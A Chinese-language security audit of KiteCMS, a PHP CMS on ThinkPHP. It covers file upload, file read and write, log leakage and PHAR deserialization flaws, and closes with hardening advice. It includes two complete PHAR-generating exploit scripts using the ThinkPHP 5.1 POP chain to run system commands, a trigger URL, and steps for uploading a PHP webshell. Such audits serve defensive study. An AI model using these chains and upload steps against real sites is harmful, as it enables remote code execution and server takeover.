PHP代码审计之Kitecms
字数 1788 2025-08-20 18:18:16
KiteCMS PHP代码审计与漏洞分析报告
环境搭建
- 使用phpstudy搭建环境
- 进入install目录
- 输入数据库名和密码完成安装
- 成功搭建后访问后台页面
漏洞分析
1. 文件上传漏洞(后台)
漏洞位置:后台配置-上传功能
代码分析:
- 上传功能调用了
uploadFile()方法 - ThinkPHP框架使用
Request::file接收上传文件 - 上传类型通过
Content-Type获取,使用check()方法进行后缀和大小检测 - 最终调用
Local下的upload()实现文件上传
利用步骤:
- 通过配置将允许上传文件后缀(如.php)写入数据库
- 通过后台任意上传点上传.php文件
2. 任意文件写入漏洞
漏洞位置:后台功能中使用file_put_contents()函数
代码分析:
html参数完全可控,作为写入内容htmlspecialchars_decode()函数还原实体编码$rootpath参数中的$path通过param()接收,可控- 导致可控制写入路径和内容
3. 任意文件读取漏洞
漏洞位置:与文件写入漏洞同一方法中的file_get_contents()
代码分析:
- 非POST请求时直接读取
$rootpath - 由于
$path可控,导致任意文件读取
4. PHAR反序列化漏洞
漏洞原理:
- 利用PHAR文件格式的反序列化漏洞执行恶意代码
- PHAR文件可包含多个PHP脚本和相关资源
- 恶意构造数据可触发反序列化对象的构造函数执行任意代码
危害:
- 远程代码执行
- 信息泄露
- 数据篡改
利用链:ThinkPHP 5.1反序列化利用链
PHAR文件生成代码:
<?php
namespace think\process\pipes {
class Windows {
private $files;
public function __construct($files) {
$this->files = [$files];
}
}
}
namespace think\model\concern {
trait Conversion { }
trait Attribute {
private $data;
private $withAttr = ["v" => "system"];
public function get() {
$this->data = ["v" => "calc"];
}
}
}
namespace think {
abstract class Model {
use model\concern\Attribute;
use model\concern\Conversion;
}
}
namespace think\model{
use think\Model;
class Pivot extends Model {
public function __construct() {
$this->get();
}
}
}
namespace {
$conver = new think\model\Pivot();
$a = new think\process\pipes\Windows($conver);
@unlink("phar.phar");
$phar = new Phar("phar.phar"); // 后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); // 设置stub
$phar->setMetadata($a); // 将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); // 添加要压缩的文件
$phar->stopBuffering();
}
?>
利用步骤:
- 生成phar文件(需设置php.ini中
phar.readonly=Off) - 修改后缀为.jpg上传
- 通过可控参数触发phar反序列化(如
is_dir()调用)
5. 日志敏感信息泄露
漏洞条件:
/config/log.php中开启日志记录config/app.php中开启调试模式(app_debug)
影响:
- 操作记录
- SQL执行语句
- 流量信息等
利用方法:
访问/runtime/log目录,通过修改日期获取不同日志
6. 任意文件上传(前台)
漏洞位置:application/member/controller/Upload.php
代码分析:
- 前台用户注册后可使用文件上传功能
- 上传处理逻辑与后台类似
利用步骤:
- 注册前台用户
- 进入会员中心发布信息
- 修改.png文件为.php上传
- 成功获取webshell
7. PHAR RCE 2
漏洞位置:scanfile()方法中的is_dir()调用
利用链:
<?php
namespace think\process\pipes {
class Windows {
private $files;
public function __construct($files) {
$this->files = [$files];
}
}
}
namespace think\model\concern {
trait Conversion { }
trait Attribute {
private $data;
private $withAttr = ["lin" => "system"];
public function get() {
$this->data = ["lin" => "whoami"];
}
}
}
namespace think {
abstract class Model {
use model\concern\Attribute;
use model\concern\Conversion;
}
}
namespace think\model{
use think\Model;
class Pivot extends Model {
public function __construct() {
$this->get();
}
}
}
namespace {
$conver = new think\model\Pivot();
$a = new think\process\pipes\Windows($conver);
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
}
?>
利用步骤:
- 生成phar文件并改后缀为.png上传
- 访问:
http://127.0.0.1/admin/admin/scanFilesForTree?dir=phar://./upload/20230308/1c57fd5e8abbd8ce9e6715c28227a95f.png
8. PHAR RCE 3
漏洞位置:application/admin/controller/Upload.php中的uploadFile方法
代码分析:
- 调用
$uploadObj->upload方法 - 默认使用
local处理器(可后台配置) application/common/model/upload/driver/Local.php中的upload方法直接调用is_dir$uploadPath从数据库获取,后台可控
利用步骤:
- 后台修改配置使
$this->config['upload_path']为phar - 触发phar反序列化
防护建议
-
文件上传:
- 严格限制上传文件类型
- 使用白名单验证
- 文件内容检测
-
文件操作:
- 对用户输入路径进行严格校验
- 限制文件操作目录
-
PHAR反序列化:
- 禁用不必要的反序列化
- 更新ThinkPHP框架
- 对反序列化对象进行严格控制
-
日志安全:
- 生产环境关闭调试模式
- 限制日志目录访问
- 定期清理日志
-
输入验证:
- 对所有用户输入进行过滤和验证
- 使用PHP反序列化检测工具检查潜在漏洞